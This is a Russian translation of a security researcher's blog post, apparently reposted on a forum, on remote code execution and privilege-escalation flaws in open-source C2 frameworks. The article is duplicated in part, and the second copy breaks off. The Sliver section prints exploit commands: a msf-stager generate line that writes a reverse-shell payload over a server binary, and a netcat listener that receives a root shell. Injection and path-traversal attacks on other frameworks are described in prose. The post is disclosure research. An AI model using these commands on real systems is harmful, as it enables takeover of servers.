Источник: https://blog.includesecurity.com/2024/09/vulnerabilities-in-open-source-c2-frameworks/
Перевёл: BLUA специально для .is
Оценка безопасности приложений и исходного кода является основным направлением нашей работы в Include Security, но иногда требуется проведение сетевых тестов на проникновение с использованием программного обеспечения, написанного другими хакерами. Я решил исследовать фреймворки Command & Control (C2), используемые в сетевых оценках и в тестах на проникновение. Я начал изучать код фреймворков с открытым исходным кодом, чтобы понять, как они работают, и в итоге обнаружил интересное сочетание аутентифицированных и неаутентифицированных уязвимостей удаленного выполнения кода (RCE).
Этот пост предоставляет обзор концепций C2, краткий обзор текущих фреймворков с открытым исходным кодом и рассматривает детали выявленных уязвимостей (включая GIF-анимации с их воспроизведением!). В заключение поста приведены некоторые окончательные мысли о текущем состоянии ландшафта C2 и о том, как могут выглядеть будущие разработки.
C2 фреймворки
Фреймворки C2 с открытым исходным кодом привлекают много внимания в последние несколько лет. Закрытый Cobalt Strike был бесспорным королем C2, но альтернативы с открытым исходным кодом становятся все более популярными среди участников команд по тестированию на проникновение, злоумышленников и энтузиастов. Альтернативы с открытым исходным кодом не имеют заоблачных лицензионных затрат и могут оставаться незамеченными в мире, где стандартные поведения Cobalt Strike тщательно изучены и распознаны.
Краткий обзор: фреймворк C2 — это инфраструктура, используемая для управления и поддержания доступа к взломанным компьютерам. Фреймворки C2 упрощают процесс для их «операторов» (участников команд по тестированию на проникновение/пентестеров/хакеров), которые атакуют целевую сеть или организацию. Термин, часто связанный с фреймворками C2, — это «пост-эксплуатация»: фреймворки C2 предназначены для помощи злоумышленникам, которые уже получили некоторый уровень контроля над компьютером цели, будь то через фишинг, веб-уязвимости или атаки на цепочку поставок. Фаза пост-эксплуатации быстро становится хаотичной без централизованной платформы управления, особенно для команд операторов, работающих вместе. Фреймворки C2 стремятся решить эту проблему, объединяя три компонента: агент, сервер команды и клиент.
Фреймворк C2 состоит из следующих трех компонентов:
- Агент (также известный как Имплант/Демон/Маяк) — это вредоносное ПО, запускаемое на целевых системах, которое подключается обратно к серверу команды, поддерживает доступ и выполняет команды на скомпрометированной системе.
- Teamserver — это центральный серверный сервис, который получает обратные вызовы от агентов, запущенных на взломанных системах, и взаимодействует с ними. Имеет API или другой интерфейс, позволяющий операторам взаимодействовать с teamserver и давать инструкции агентам.
- Клиент — это веб-интерфейс или программа, запускаемая локально оператором для подключения к teamserver, предоставляющая пользовательский интерфейс для управления операциями. В менее развитых C2 фреймворках клиент может быть просто интерфейсом командной строки (CLI), представленным teamserver после его запуска, а не отдельным компонентом, работающим на компьютере оператора.
Это описание является минимально необходимым для работы C2 фреймворка. Обычно агент обладает функциями для обхода обнаружения антивирусами и продуктами для обнаружения и реагирования на инциденты (EDR), а также модулями для сбора информации о скомпрометированной системе и атаки на другие системы. Аналогично, teamserver обычно предоставляет набор функций, включая генерацию бинарных файлов агентов для различных целевых архитектур и операционных систем; управление файлами, извлеченными из целевых систем; реализацию различных транспортных протоколов для трафика между агентом и teamserver для обхода правил межсетевого экрана; и шифрование и аутентификацию трафика между агентом и teamserver.
Дополнительная терминология, общая для C2 фреймворков:
- Добыча – файлы, учетные данные и скриншоты, загруженные/извлеченные из скомпрометированных систем и сохраненные на teamserver.
- Прослушиватель – порт, открытый на teamserver для ожидания обратных вызовов агентов.
- Обработчик – код на серверной части, который выполняется на teamserver в ответ на обратный вызов агента, например, обработчик может получать и загружать добычу от агента на teamserver.
- Задача – операция в очереди, которую оператор хочет, чтобы агент выполнил.
- Интервал маяка – регулярный временной период (например, каждые 30 секунд), который агент выжидает между подключениями к слушателю teamserver, чтобы проверить, есть ли у него задачи для выполнения. Это делается потому, что это менее заметно, чем постоянное соединение.
- Загрузчик – минимальный фрагмент кода, выполняемый на скомпрометированном хосте, который предназначен для получения и запуска полного C2-агента. Он менее заметен и проще в развёртывании, чем многомегабайтный агент.
- Слушатель загрузчика – это сервис, работающий на teamserver, который передаёт полного агента в ответ на обратный вызов загрузчика.
- Перенаправляющий сервер – это сервер, который получает обратные вызовы от агентов и перенаправляет их на teamserver. Его цель – скрыть IP-адрес teamserver и сделать так, чтобы коммуникации между агентами и teamserver выглядели как обычный трафик.
Следующая диаграмма показывает типичное использование C2-фреймворка:
Фреймворки C2 с открытым исходным кодом
Фреймворки C2 с открытым исходным кодом имеют разные наборы функций, различные пользовательские интерфейсы, немного отличающуюся терминологию и написаны на различных языках программирования. Однако современные фреймворки, как правило, делятся на два лагеря: те, которые написаны на Golang, и те, которые написаны на C#. Golang и C# являются надежными языками для всех трех компонентов стека C2, что означает, что агент, сервер команды и клиент могут быть написаны на одном языке. Python также является популярным выбором для сервера команды C2 и клиентов, в то время как более старые фреймворки C2 широко использовали PowerShell для агентов, из той эпохи, когда было легче запускать вредоносный код PowerShell на Windows, оставаясь незамеченным.
Большинство фреймворков C2 — это проекты, созданные энтузиастами или небольшими командами разработчиков, и многие некогда популярные фреймворки больше не находятся в активной разработке. Существуют ресурсы, которые помогают упростить выбор подходящего фреймворка C2, такие как анкета C2Matrix, но некоторые из предложенных фреймворков были заброшены уже давно. Самым полезным недавним рейтингом, который я нашел, была турнирная сетка на выбывание, созданная Atomics в подкасте на тему пятницы в апреле 2024 года. По результатам голосования Mythic, Sliver и Havoc заняли призовые места как лучшие выборы сообщества.
Одним из интересных ограничений традиционных фреймворков C2 является то, что фреймворк объединяет агента, сервер команды и клиент вместе, и каждый компонент обычно трудно заменить. Я обнаружил, что некоторые фреймворки имеют довольно продвинутых агентов, но примитивный код управления и взаимодействия. В то же время другие фреймворки C2 обладают отличным пользовательским интерфейсом с управлением ролями операторов, графами атак, реактивным фронтендом, но имеют несовершенных и легко обнаруживаемых агентов. Эта тесная связь компонентов решается с помощью современных модульных фреймворков, о которых мы поговорим позже.
Угрозы фреймворков C2
Операторы используют фреймворки C2 для упрощения управления сложными кампаниями. Фреймворки C2 предоставляют возможность нескольким операторам координировать действия при выполнении пост-эксплуатации целей. Однако ошибки в дизайне и баги в фреймворках C2 могут привести к угрозам безопасности как для самих кампаний, так и для операторов из команды красных.
Вот некоторые из возможных угроз для фреймворков C2:
Уязвимости в инфраструктуре управления и контроля (C2)
Теперь, когда мы рассмотрели основную информацию, давайте перейдем к изучению отдельных инфраструктур управления и контроля (C2).
Sliver
Введение
Sliver — это признание в любви к наступательному программированию на Golang: агент, сервер команды и клиент написаны на Go. Любой, кто любит командную строку Linux, почувствует себя как дома с интерфейсом Sliver, который является интерфейсом командной строки (CLI), хотя также возможно написать собственный клиент. Архитектура и код отличаются высоким качеством, с использованием GRPC поверх mTLS для связи между клиентом и сервером, а также возможностью использовать mTLS, Wireguard, HTTPS или DNS в качестве транспортного протокола для трафика между агентом и сервером.
Я обнаружил, что агенты Sliver («импланты») являются мощными и надежными при переходе и повышении привилегий в сетях Active Directory на HackTheBox ProLabs. Sliver предлагает несколько методов для выполнения сторонних инструментов, а настоящая магия Sliver заключается в функции арсенала, которая предоставляет огромное количество расширений, и при этом легко добавить свои собственные. Агенты также поддерживают выполнение файлов объектов-маяков (BOF), формата кода, независимого от положения, разработанного Cobalt Strike, что позволяет Sliver получить доступ к библиотеке BOF с открытым исходным кодом. Для обучения существует отличная серия блогов, написанная Домиником Бройкером.
Аутентифицированная командная инъекция
При анализе кода стагера для последней предварительной версии Sliver (1.6.0) я нашел способ для любого оператора Sliver (т.е. аутентифицированного пользователя) получить root-доступ на teamserver. Это нарушает модель угроз Sliver, согласно которой «существует четкая граница безопасности между оператором и сервером, и оператор не должен иметь возможности выполнять команды или код на сервере». Sliver имеет многопользовательский режим и добавляет управление доступом на основе ролей для назначения детализированных привилегий операторам. Операция красной команды обычно состоит из нескольких человек, и компрометация одного члена команды с низкими привилегиями не должна приводить к полному административному контролю над сервером.
Это также действительно забавная уязвимость, поскольку мы заставляем teamserver сам себя взломать с помощью Metasploit. По сути, мы выполняем полезную нагрузку стагера Metasploit на сервере, вместо того чтобы отправлять ее клиенту оператора для развертывания на целевой системе. Я сообщил об этой уязвимости команде Sliver, и она была исправлена как CVE-2024-41111 до того, как была выпущена в стабильной сборке.
Sliver поддерживает стагеры Metasploit. Внутри Metasploit стагер вызывает msfvenom, используя Go’s
Мы перезаписываем один из собственных встроенных бинарных файлов Sliver по пути
Код: Скопировать в буфер обмена
Настройте оболочку netcat на атакующей системе 192.168.0.128 на порту 8888. Затем активируйте эксплуатацию, запустив команду компиляции агента, которая косвенно выполняет
Код: Скопировать в буфер обмена
Появится оболочка с правами root:
Код: Скопировать в буфер обмена
Команда Sliver устранила уязвимость, удалив команду
Havoc
Введение
Teamserver Havoc также написан на Go, но клиентская часть выполнена на C++ и имеет графический интерфейс на базе Qt, а агент написан на C и ASM. Основное преимущество Havoc перед Sliver заключается в классном графическом интерфейсе, который напоминает Cobalt Strike с визуализацией активных сессий на взломанных машинах. Я заметил, что код Havoc менее зрелый по сравнению с Sliver и содержит некоторые недоработки в нескольких местах, хотя он улучшается по мере того, как разработчики рефакторят исходный код. Стандартный агент Havoc («демон») способен выполнять
Еще одна аутентифицированная командная инъекция
В Havoc имеется уязвимость удаленного выполнения команд (RCE) с аутентификацией в teamserver, аналогичная той, что есть в Sliver. Кроме того, стандартная конфигурация Havoc создает двух пользователей с паролем "password1234", поэтому любой, кто недостаточно осторожен, чтобы запускать Havoc с настройками по умолчанию в ненадежной сети, может быть немедленно подвергнут эксплуатации через эту уязвимость RCE. Teamserver'ы, которые защищены файерволом, все равно могут быть атакованы из-за интересной уязвимости SSRF, недавно обнаруженной chebuya.
Вызов
Полезная нагрузка для инъекции в поле имени сервиса выглядит примерно так:
Некоторое время до этого я также обнаружил обход аутентификации в функции API сервиса Havoc. Логика аутентификации перебирает имена пользователей и пароли, но если ни одно из них не совпадало, функция не возвращала false. Это означало, что вредоносный сервис мог подключиться к серверу команды, предоставить неправильный пароль и продолжать отправлять сообщения серверу команды, которые тот будет считать авторизованными.
Код Service API отделён от кода генерации пользовательского агента, иначе, если бы они были объединены, это могло бы привести к полной неаутентифицированной цепочке до root-доступа к серверу команды Havoc с использованием этих двух уязвимостей.
В ответ на раскрытие информации разработчик Havoc отметил меня в примечаниях к выпуску Havoc, добавил в закрытый канал для участников и разработчиков, а также пригласил искать больше уязвимостей. Обход аутентификации в API сервиса исправлен, но аутентифицированная возможность удалённого выполнения кода всё ещё присутствует в основной ветке Havoc, так как все усилия по разработке теперь сосредоточены на ветке переписывания.
Ninja
Введение
Я обнаружил аутентифицированные RCE (удалённое выполнение кода) в двух популярных open source C2 фреймворках, но не нашёл способа превратить их в полностью неаутентифицированные RCE. Для этого мне нужно было изучить менее известные фреймворки.
Ninja C2 основан на утекшем коде MuddyC3, который использовался иранской APT-группой. Сервер команды написан на Python, а агенты используют PowerShell. Целью его разработки является скрытность, и ряд его поведений меняется каждый раз при запуске новой кампании. Например, сервер команды генерирует запутанные URL-адреса обратных вызовов веб-сервера, которые меняются с каждой кампанией. Многие функции Sliver и Havoc присутствуют, хотя и в более базовой форме. В сопутствующих блогах утверждается, что на момент выхода Ninja мог обходить основные антивирусные и SIEM-продукты, показывая, что незнакомая сигнатура атаки — это всё, когда речь идет о скрытности.
Неаутентифицированная произвольная загрузка файлов
Веб-сервер Ninja уязвим для неаутентифицированной произвольной загрузки файлов через обход директорий (path traversal). Это приводит к немедленному выполнению произвольного кода (RCE) против сервера команды, когда он работает с правами root, или к выполнению произвольного кода при следующем перезапуске сервера команды.
Предпосылки уязвимости такие же, как у эксплойта Skywalker против фреймворка Empire из 2016 года, классической уязвимости в C2 фреймворке, для которой существует собственный модуль Metasploit. Эксплойт Skywalker возникает, когда:
В случае с Ninja агент также не требует какого-либо специального секрета для регистрации на командном сервере Ninja. Злоумышленник может создать поддельного агента, вызвать конечную точку регистрации, а затем загрузить вредоносный файл в произвольное место на командном сервере. Единственным препятствием является то, что URL-адреса конечных точек выбираются случайным образом из списка для каждой кампании, но сам список достаточно короткий, чтобы его можно было перебрать методом грубой силы. Скрипт эксплуатации реализует это с помощью обратного вызова оболочки в crontab.
Я несколько раз обращался к разработчику Ninja, но не получил ответа.
SHAD0W
Введение
SHAD0W — это C2-фреймворк с бэкендом на Python и агентами, написанными на C. Он был популярен три года назад, но с тех пор его разработка не велась. Интерфейс представляет собой классическую хакерскую командную строку, похожую на Sliver. Основной особенностью SHAD0W является его модульность, с чистой кодовой базой и простым протоколом для добавления новых команд и модулей. Другой акцент сделан на скрытность, с агентом, который реализует защиту от DLL-инъекций, динамически разрешаемые системные вызовы и захват потоков для инъекций в процессы. Я считаю, что жаль, что разработка SHAD0W прекратилась, так как мне было проще разобраться в коде этого фреймворка по сравнению с большинством других.
Неаутентифицированное удалённое выполнение кода
SHAD0W уязвим к неаутентифицированному удалённому выполнению кода, когда ненадёжные данные, предоставленные агентами, внедряются в команды, выполняемые на сервере команды. Когда новый агент (в терминологии SHAD0W —
В SHAD0W модули маяка компилируются по запросу на сервере команды для целевой системы. Несколько модулей в SHAD0W используют произвольные значения, предоставленные маяком, в качестве параметров при компиляции shell-кода. Например, модуль migrate, который реализует миграцию процессов, передает значение архитектуры в
Значения, предоставленные маяком, отображаются оператору C2, когда маяк впервые подключается к серверу команды, поэтому здесь требуется определенный уровень обфускации, чтобы замаскировать полезную нагрузку и вызвать у оператора любопытство для взаимодействия с маяком. Когда оператор взаимодействует с маяком и использует модуль migrate, команда злоумышленника выполняется на сервере команды.
Я несколько раз обращался к разработчику SHAD0W, но не получил ответа.
Covenant
Введение
Covenant — это еще один фреймворк, который был популярен 3-4 года назад и был выбран для первой итерации курса Red Team Ops от Zero Point Security. Сервер написан на C#, а клиент представляет собой веб-приложение на C# Blazor. С тех пор фреймворк практически не развивался. Он обладает рядом интересных функций, включая чистый веб-интерфейс, криптографическую прямую секретность для связи между агентом и сервером, а также профили слушателей для динамического изменения вида этой связи в сети.
Эскалация привилегий
Обе текущие ветки master и dev фреймворка Covenant уязвимы для эскалации привилегий с уровня Пользователя до Администратора. API блокирует редактирование ролей, если вы не являетесь Администратором, однако в самом пользовательском интерфейсе пользователь может назначить себе роль Администратора.
Теперь пользователь имеет доступ к самой мощной функции Covenant — возможности создавать профили HTTP-листенеров, что доступно только Администраторам. Хотя в Covenant нет встроенного способа получить оболочку на сервере, функция HTTP-профилей фактически позволяет выполнять код на C# на сервере, что дает возможность настраивать трафик, отправляемый и получаемый агентами.
Еще одна аутентифицированная инъекция команд
Код на C# ограничен тем, что компилятор Covenant ограничивает пространство имен System библиотекой
Разработчик Covenant признал уязвимость, связанную с повышением привилегий, и сообщил, что она будет исправлена в следующий раз, когда он будет работать над Covenant. Он попросил включить следующее дополнение: "Сетевого доступа к слушателю Covenant недостаточно для этой уязвимости. Эта уязвимость требует логического доступа к управляющему порту Covenant, который никогда не должен быть публично доступен. Это аутентифицированное повышение привилегий, требующее доступа к действующей, существующей учетной записи пользователя. Известно и задумано, что выполнение удаленного кода на сервере Covenant через управляющий интерфейс в качестве административного пользователя с использованием пользовательских профилей является функциональностью. Хотя Covenant в настоящее время не находится в активной разработке, он все еще в стадии бета-тестирования (до версии 1.0). Covenant разрабатывается как хобби и никогда не подвергался профессиональной оценке на предмет рисков безопасности."
Mythic
Введение
Одной из популярных C2-платформ, которая пока отсутствует, является Mythic. Mythic отличается от большинства C2 тем, что это модульная платформа, которую необходимо настраивать, так как она не поставляется с встроенным агентом. Каждая часть системы Mythic имеет свой собственный контейнер Docker, и запуск Mythic по умолчанию включает запуск восьми контейнеров Docker (один для веб-сервера, один для базы данных, один для GraphQL API и т.д.), после чего вы добавляете дополнительные контейнеры для конкретных агентов и транспортов, которые вы хотите использовать.
Это позволило Mythic сосредоточиться больше на архитектуре и опыте совместной работы на сервере команды, а не на создании скрытных агентов. Веб-интерфейс может выглядеть немного устаревшим на первый взгляд, но как только вы начинаете взаимодействовать с сервером, становится ясно, что Mythic обладает множеством функций серверной части и удобных функций, больше, чем любая другая C2-платформа, которую я рассматривал. Платформа имеет полное управление ролями пользователей и сервисных учетных записей и позволяет запускать кампании с участием различных операторов с несколькими уровнями разрешений. Mythic также продвинут в плане отслеживания всего, что происходит во время кампании, и данные легко поддаются поиску, что ускоряет составление отчетов.
В ходе быстрого обзора кода, который я провел, я не обнаружил явных недостатков в аутентификации и логике API Mythic, а также возможностей для удаленного выполнения кода (RCE) на сервере Mythic. Однако Mythic оказался избыточным для лабораторий HackTheBox, которыми я занимался, поэтому я не углублялся в него. Он выглядит отличным решением для более крупных операций и в настоящее время развивается более активно, чем любая другая открытая C2-платформа. Интересно, станет ли это будущим открытых C2-платформ — модульная платформа для совместной работы, в которую вы можете легко интегрировать своего собственного агента или даже разработать собственный интерфейс API, вместо тесной интеграции компонентов агента, клиента и серверной части команды.
Заключение
В целом, в ходе этого исследования я узнал несколько вещей. C2-фреймворки предназначены для того, чтобы помогать вам выполнять команды на компьютерах других людей, но, иронично, многие из них уязвимы к выполнению несанкционированных команд на них самих. В некоторых случаях простое запуск этих фреймворков с настройками по умолчанию в публичной сети (например, в VPN HackTheBox) делает вас уязвимыми для удаленного выполнения кода (RCE). Я считаю, что это важно подчеркнуть, так как многие пользователи — это любители, которые экспериментируют и участвуют в CTF с друзьями, и не занимаются сложным операционным развертыванием серверов команды.
Источником уязвимостей является сложность и количество ролей, которые сервер команды должен выполнять в C2-фреймворках. Сервер команды компилирует эксплойты от имени операторов, отображает данные из внешних ненадежных IP в интерфейсе и загружает файлы с взломанных систем. Предотвращение эксплуатации этих функций требует строгой валидации любого внешнего ввода и минимизации числа вызовов функций system(). Тестируемые C2-фреймворки обычно выполняли эту валидацию, но допускали одну ошибку, из-за которой ввод атакующего попадал в мощные функции. Фреймворки имеют наилучшие шансы избежать таких уязвимостей, строго соблюдая границы данных между агентом, сервером команды и клиентом. Например, сравните подход Ninja и Sliver к условиям уязвимости Skywalker (в разделе Ninja выше).
Меня удивило, сколько классных открытых C2-фреймворков больше не поддерживаются. Помимо обычных ограничений по времени и интересу разработчиков с открытым исходным кодом, я задаюсь вопросом, существует ли цикл, когда новые фреймворки вызывают ажиотаж из-за возможности обхода Defender при их первом выпуске, но вскоре для них создаются сигнатуры. Современные технологии быстро развиваются, и разработчики устают от большого количества простых проблем, которые им отправляют. Однако я ожидаю, что существует множество активных частных форков публично "мертвых" фреймворков.
Это еще одна причина, почему модель «принеси своего агента» имеет смысл для открытых C2-фреймворков (как обсуждалось в подкасте Atomics on a Friday). Стандартные транспортные и маяковые поведения Cobalt Strike настолько сильно отпечатаны, что требуют значительных исправлений и настройки для работы в хорошо защищенных средах. Как только открытые C2-фреймворки выпускаются, их агенты и транспортные протоколы начинают страдать от той же участи. Клиентская часть сервера команды и сам клиент являются компонентами системы, которые наименее подвержены риску. Сделать эти неэкспонированные компоненты надежными/безопасными/функционально богатыми с ожиданием, что операторы разработают свои собственные закрытые агенты и транспорты для обхода, — это практическое решение в дизайне.
Здесь публикуются уязвимости в виде демонстрационных примеров (proof of concept).
Перевёл: BLUA специально для .is
Оценка безопасности приложений и исходного кода является основным направлением нашей работы в Include Security, но иногда требуется проведение сетевых тестов на проникновение с использованием программного обеспечения, написанного другими хакерами. Я решил исследовать фреймворки Command & Control (C2), используемые в сетевых оценках и в тестах на проникновение. Я начал изучать код фреймворков с открытым исходным кодом, чтобы понять, как они работают, и в итоге обнаружил интересное сочетание аутентифицированных и неаутентифицированных уязвимостей удаленного выполнения кода (RCE).
Этот пост предоставляет обзор концепций C2, краткий обзор текущих фреймворков с открытым исходным кодом и рассматривает детали выявленных уязвимостей (включая GIF-анимации с их воспроизведением!). В заключение поста приведены некоторые окончательные мысли о текущем состоянии ландшафта C2 и о том, как могут выглядеть будущие разработки.
C2 фреймворки
Фреймворки C2 с открытым исходным кодом привлекают много внимания в последние несколько лет. Закрытый Cobalt Strike был бесспорным королем C2, но альтернативы с открытым исходным кодом становятся все более популярными среди участников команд по тестированию на проникновение, злоумышленников и энтузиастов. Альтернативы с открытым исходным кодом не имеют заоблачных лицензионных затрат и могут оставаться незамеченными в мире, где стандартные поведения Cobalt Strike тщательно изучены и распознаны.
Краткий обзор: фреймворк C2 — это инфраструктура, используемая для управления и поддержания доступа к взломанным компьютерам. Фреймворки C2 упрощают процесс для их «операторов» (участников команд по тестированию на проникновение/пентестеров/хакеров), которые атакуют целевую сеть или организацию. Термин, часто связанный с фреймворками C2, — это «пост-эксплуатация»: фреймворки C2 предназначены для помощи злоумышленникам, которые уже получили некоторый уровень контроля над компьютером цели, будь то через фишинг, веб-уязвимости или атаки на цепочку поставок. Фаза пост-эксплуатации быстро становится хаотичной без централизованной платформы управления, особенно для команд операторов, работающих вместе. Фреймворки C2 стремятся решить эту проблему, объединяя три компонента: агент, сервер команды и клиент.
Фреймворк C2 состоит из следующих трех компонентов:
- Агент (также известный как Имплант/Демон/Маяк) — это вредоносное ПО, запускаемое на целевых системах, которое подключается обратно к серверу команды, поддерживает доступ и выполняет команды на скомпрометированной системе.
- Teamserver — это центральный серверный сервис, который получает обратные вызовы от агентов, запущенных на взломанных системах, и взаимодействует с ними. Имеет API или другой интерфейс, позволяющий операторам взаимодействовать с teamserver и давать инструкции агентам.
- Клиент — это веб-интерфейс или программа, запускаемая локально оператором для подключения к teamserver, предоставляющая пользовательский интерфейс для управления операциями. В менее развитых C2 фреймворках клиент может быть просто интерфейсом командной строки (CLI), представленным teamserver после его запуска, а не отдельным компонентом, работающим на компьютере оператора.
Это описание является минимально необходимым для работы C2 фреймворка. Обычно агент обладает функциями для обхода обнаружения антивирусами и продуктами для обнаружения и реагирования на инциденты (EDR), а также модулями для сбора информации о скомпрометированной системе и атаки на другие системы. Аналогично, teamserver обычно предоставляет набор функций, включая генерацию бинарных файлов агентов для различных целевых архитектур и операционных систем; управление файлами, извлеченными из целевых систем; реализацию различных транспортных протоколов для трафика между агентом и teamserver для обхода правил межсетевого экрана; и шифрование и аутентификацию трафика между агентом и teamserver.
Дополнительная терминология, общая для C2 фреймворков:
- Добыча – файлы, учетные данные и скриншоты, загруженные/извлеченные из скомпрометированных систем и сохраненные на teamserver.
- Прослушиватель – порт, открытый на teamserver для ожидания обратных вызовов агентов.
- Обработчик – код на серверной части, который выполняется на teamserver в ответ на обратный вызов агента, например, обработчик может получать и загружать добычу от агента на teamserver.
- Задача – операция в очереди, которую оператор хочет, чтобы агент выполнил.
- Интервал маяка – регулярный временной период (например, каждые 30 секунд), который агент выжидает между подключениями к слушателю teamserver, чтобы проверить, есть ли у него задачи для выполнения. Это делается потому, что это менее заметно, чем постоянное соединение.
- Загрузчик – минимальный фрагмент кода, выполняемый на скомпрометированном хосте, который предназначен для получения и запуска полного C2-агента. Он менее заметен и проще в развёртывании, чем многомегабайтный агент.
- Слушатель загрузчика – это сервис, работающий на teamserver, который передаёт полного агента в ответ на обратный вызов загрузчика.
- Перенаправляющий сервер – это сервер, который получает обратные вызовы от агентов и перенаправляет их на teamserver. Его цель – скрыть IP-адрес teamserver и сделать так, чтобы коммуникации между агентами и teamserver выглядели как обычный трафик.
Следующая диаграмма показывает типичное использование C2-фреймворка:
Фреймворки C2 с открытым исходным кодом
Фреймворки C2 с открытым исходным кодом имеют разные наборы функций, различные пользовательские интерфейсы, немного отличающуюся терминологию и написаны на различных языках программирования. Однако современные фреймворки, как правило, делятся на два лагеря: те, которые написаны на Golang, и те, которые написаны на C#. Golang и C# являются надежными языками для всех трех компонентов стека C2, что означает, что агент, сервер команды и клиент могут быть написаны на одном языке. Python также является популярным выбором для сервера команды C2 и клиентов, в то время как более старые фреймворки C2 широко использовали PowerShell для агентов, из той эпохи, когда было легче запускать вредоносный код PowerShell на Windows, оставаясь незамеченным.
Большинство фреймворков C2 — это проекты, созданные энтузиастами или небольшими командами разработчиков, и многие некогда популярные фреймворки больше не находятся в активной разработке. Существуют ресурсы, которые помогают упростить выбор подходящего фреймворка C2, такие как анкета C2Matrix, но некоторые из предложенных фреймворков были заброшены уже давно. Самым полезным недавним рейтингом, который я нашел, была турнирная сетка на выбывание, созданная Atomics в подкасте на тему пятницы в апреле 2024 года. По результатам голосования Mythic, Sliver и Havoc заняли призовые места как лучшие выборы сообщества.
Одним из интересных ограничений традиционных фреймворков C2 является то, что фреймворк объединяет агента, сервер команды и клиент вместе, и каждый компонент обычно трудно заменить. Я обнаружил, что некоторые фреймворки имеют довольно продвинутых агентов, но примитивный код управления и взаимодействия. В то же время другие фреймворки C2 обладают отличным пользовательским интерфейсом с управлением ролями операторов, графами атак, реактивным фронтендом, но имеют несовершенных и легко обнаруживаемых агентов. Эта тесная связь компонентов решается с помощью современных модульных фреймворков, о которых мы поговорим позже.
Угрозы фреймворков C2
Операторы используют фреймворки C2 для упрощения управления сложными кампаниями. Фреймворки C2 предоставляют возможность нескольким операторам координировать действия при выполнении пост-эксплуатации целей. Однако ошибки в дизайне и баги в фреймворках C2 могут привести к угрозам безопасности как для самих кампаний, так и для операторов из команды красных.
Вот некоторые из возможных угроз для фреймворков C2:
| Компонент | Угроза | Пример |
| Agent -> Teamserver | Агент отправляет недоверенные данные на командный сервер, что приводит к непреднамеренному поведению, такому как произвольная запись файлов на хосте командного сервера. | CVE-2024-6127 |
| Agent -> Operator | Агент отправляет недоверенные данные на командный сервер, которые при просмотре оператором в пользовательском интерфейсе командного сервера приводят к межсайтовому скриптингу или удаленному выполнению кода. | CVE-2022-39197 |
| Operator -> Teamserver | Учетная запись оператора с низкими привилегиями (внутренний аккаунт, скомпрометированные учетные данные или через другую уязвимость) может получить возможность удаленного выполнения кода на хосте командного сервера. | CVE-2024-41111 |
| Third Party -> Agent | Отсутствие криптографической аутентичности у агента позволяет сетевому злоумышленнику занять роль командного сервера и захватить кампанию красной команды. | CVE-2023-34758 |
| Third Party -> Teamserver | Ошибка или отсутствие ограничения скорости позволяет неаутентифицированной третьей стороне отказать в обслуживании командного сервера. | HavocExploit |
| Third Party -> Teamserver | Ошибка аутентификации позволяет третьим сторонам проходить аутентификацию на командном сервере как операторы или служебные учетные записи. |
Уязвимости в инфраструктуре управления и контроля (C2)
Теперь, когда мы рассмотрели основную информацию, давайте перейдем к изучению отдельных инфраструктур управления и контроля (C2).
Sliver
Введение
Sliver — это признание в любви к наступательному программированию на Golang: агент, сервер команды и клиент написаны на Go. Любой, кто любит командную строку Linux, почувствует себя как дома с интерфейсом Sliver, который является интерфейсом командной строки (CLI), хотя также возможно написать собственный клиент. Архитектура и код отличаются высоким качеством, с использованием GRPC поверх mTLS для связи между клиентом и сервером, а также возможностью использовать mTLS, Wireguard, HTTPS или DNS в качестве транспортного протокола для трафика между агентом и сервером.
Я обнаружил, что агенты Sliver («импланты») являются мощными и надежными при переходе и повышении привилегий в сетях Active Directory на HackTheBox ProLabs. Sliver предлагает несколько методов для выполнения сторонних инструментов, а настоящая магия Sliver заключается в функции арсенала, которая предоставляет огромное количество расширений, и при этом легко добавить свои собственные. Агенты также поддерживают выполнение файлов объектов-маяков (BOF), формата кода, независимого от положения, разработанного Cobalt Strike, что позволяет Sliver получить доступ к библиотеке BOF с открытым исходным кодом. Для обучения существует отличная серия блогов, написанная Домиником Бройкером.
Аутентифицированная командная инъекция
При анализе кода стагера для последней предварительной версии Sliver (1.6.0) я нашел способ для любого оператора Sliver (т.е. аутентифицированного пользователя) получить root-доступ на teamserver. Это нарушает модель угроз Sliver, согласно которой «существует четкая граница безопасности между оператором и сервером, и оператор не должен иметь возможности выполнять команды или код на сервере». Sliver имеет многопользовательский режим и добавляет управление доступом на основе ролей для назначения детализированных привилегий операторам. Операция красной команды обычно состоит из нескольких человек, и компрометация одного члена команды с низкими привилегиями не должна приводить к полному административному контролю над сервером.
Это также действительно забавная уязвимость, поскольку мы заставляем teamserver сам себя взломать с помощью Metasploit. По сути, мы выполняем полезную нагрузку стагера Metasploit на сервере, вместо того чтобы отправлять ее клиенту оператора для развертывания на целевой системе. Я сообщил об этой уязвимости команде Sliver, и она была исправлена как CVE-2024-41111 до того, как была выпущена в стабильной сборке.
Sliver поддерживает стагеры Metasploit. Внутри Metasploit стагер вызывает msfvenom, используя Go’s
exec.Command(). Параметры пользователя проверяются перед тем, как быть вставленными в строку команды. В прошлом году была добавлена функция для предоставления расширенных опций стагеру. Намерение изменения заключалось в управлении такими опциями, как EXITFUNC=thread, однако это изменение позволяет указывать дополнительные аргументы командной строки для msfvenom. Один из аргументов msfvenom — это --out, который записывает полезную нагрузку в файл, а не в стандартный вывод. Это позволяет нам записывать полезную нагрузку msfvenom в произвольный файл на teamserver.Мы перезаписываем один из собственных встроенных бинарных файлов Sliver по пути
/root/.sliver/go/bin/garble:Код: Скопировать в буфер обмена
Code:
sliver > generate msf-stager --lhost 192.168.0.128 --lport 8888 --advanced --platform=linux&--payload=linux/x64/shell_reverse_tcp&--format=elf&--out=/root/.sliver/go/bin/garble
[*] Sliver implant stager saved to: [...]Настройте оболочку netcat на атакующей системе 192.168.0.128 на порту 8888. Затем активируйте эксплуатацию, запустив команду компиляции агента, которая косвенно выполняет
/root/.sliver/go/bin/garble:Код: Скопировать в буфер обмена
Code:
sliver > generate beacon --mtls 1.2.3.4
[*] Generating new windows/amd64 beacon implant binary (1m0s)
[*] Symbol obfuscation is enabled
та╝ Compiling, please wait ...Появится оболочка с правами root:
Код: Скопировать в буфер обмена
Code:
$ nc -lvp 8888
Listening on 0.0.0.0 8888
Connection received on 192.168.0.183 39238
whoami
rootКоманда Sliver устранила уязвимость, удалив команду
generate msf-stager, и теперь документация инструктирует операторов создавать свои собственные загрузчики Metasploit локально, а не на сервере команды. Общение с командой Sliver было приятным, и они отправили бутылку виски в рамках своей программы вознаграждений за обнаружение ошибок, основанной на напитках.Havoc
Введение
